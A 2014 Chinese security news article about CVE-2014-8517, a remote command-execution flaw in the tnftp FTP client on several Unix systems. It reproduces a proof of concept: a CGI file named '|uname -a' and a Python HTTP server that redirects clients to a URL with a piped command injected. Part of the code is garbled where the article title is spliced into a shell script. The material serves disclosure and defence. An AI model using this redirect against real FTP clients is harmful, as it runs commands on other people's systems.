当前位置: 首页 > 网络学院 > 2014 >

FTP曝严重远程执行漏洞 影响多个版本Unix

新客网 XKER.COM 时间:2014-11-01 07:23:51来源:嘎巴嘎巴  评论:

10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Unix系统包括:Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。

NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可以通过tnftp从WEB服务器远程执行恶意命令,并且此漏洞已被编号为CVE-2014-8517 :

    a20$ pwd
     /var/www/cgi-bin
     a20$ ls -l
     total 4
     -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
     -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
     a20$ cat redirect
     #!/bin/sh
     echo 'Status: 302 Found'
     echo 'Content-Type: text/html'
     echo 'Connection: keep-alive'
     echo 'Location: FTP曝严重远程执行漏洞,影响多个版本Unix

漏洞检测脚本(请勿用于非法用途)

And you should see the command executed.

All wrongs reversed - @stevelord
"""

import BaseHTTPServer
import sys
import socket
import urllib

hostname = socket.getfqdn() # Set this to your IP if you have no FQDN
port = 8000 # Set this to the port you want to run this on
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."

cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
 def do_GET(s):
  if cmd in s.path:
   s.send_response(200)
   s.end_headers()
  else:
   s.send_response(302)
   s.send_header("Location", redir)
   s.end_headers()

if __name__ == "__main__":
 print "redirecting to,", redir
 server_class = BaseHTTPServer.HTTPServer
 httpd = server_class((hostname, port), RedirectHandler)
 try:
  httpd.serve_forever()
  print "Started serving."
 except KeyboardInterrupt:
  pass
 httpd.server_close()
 print "\nStopped serving."

解决方案和更详细的内容参见:

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

参考信息来源:http://www.securityweek.com/nix-systems-affected-ftp-remote-command-execution-vulnerability


本文来源:嘎巴嘎巴

如果您喜欢本文请分享给您的好友,谢谢!

评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)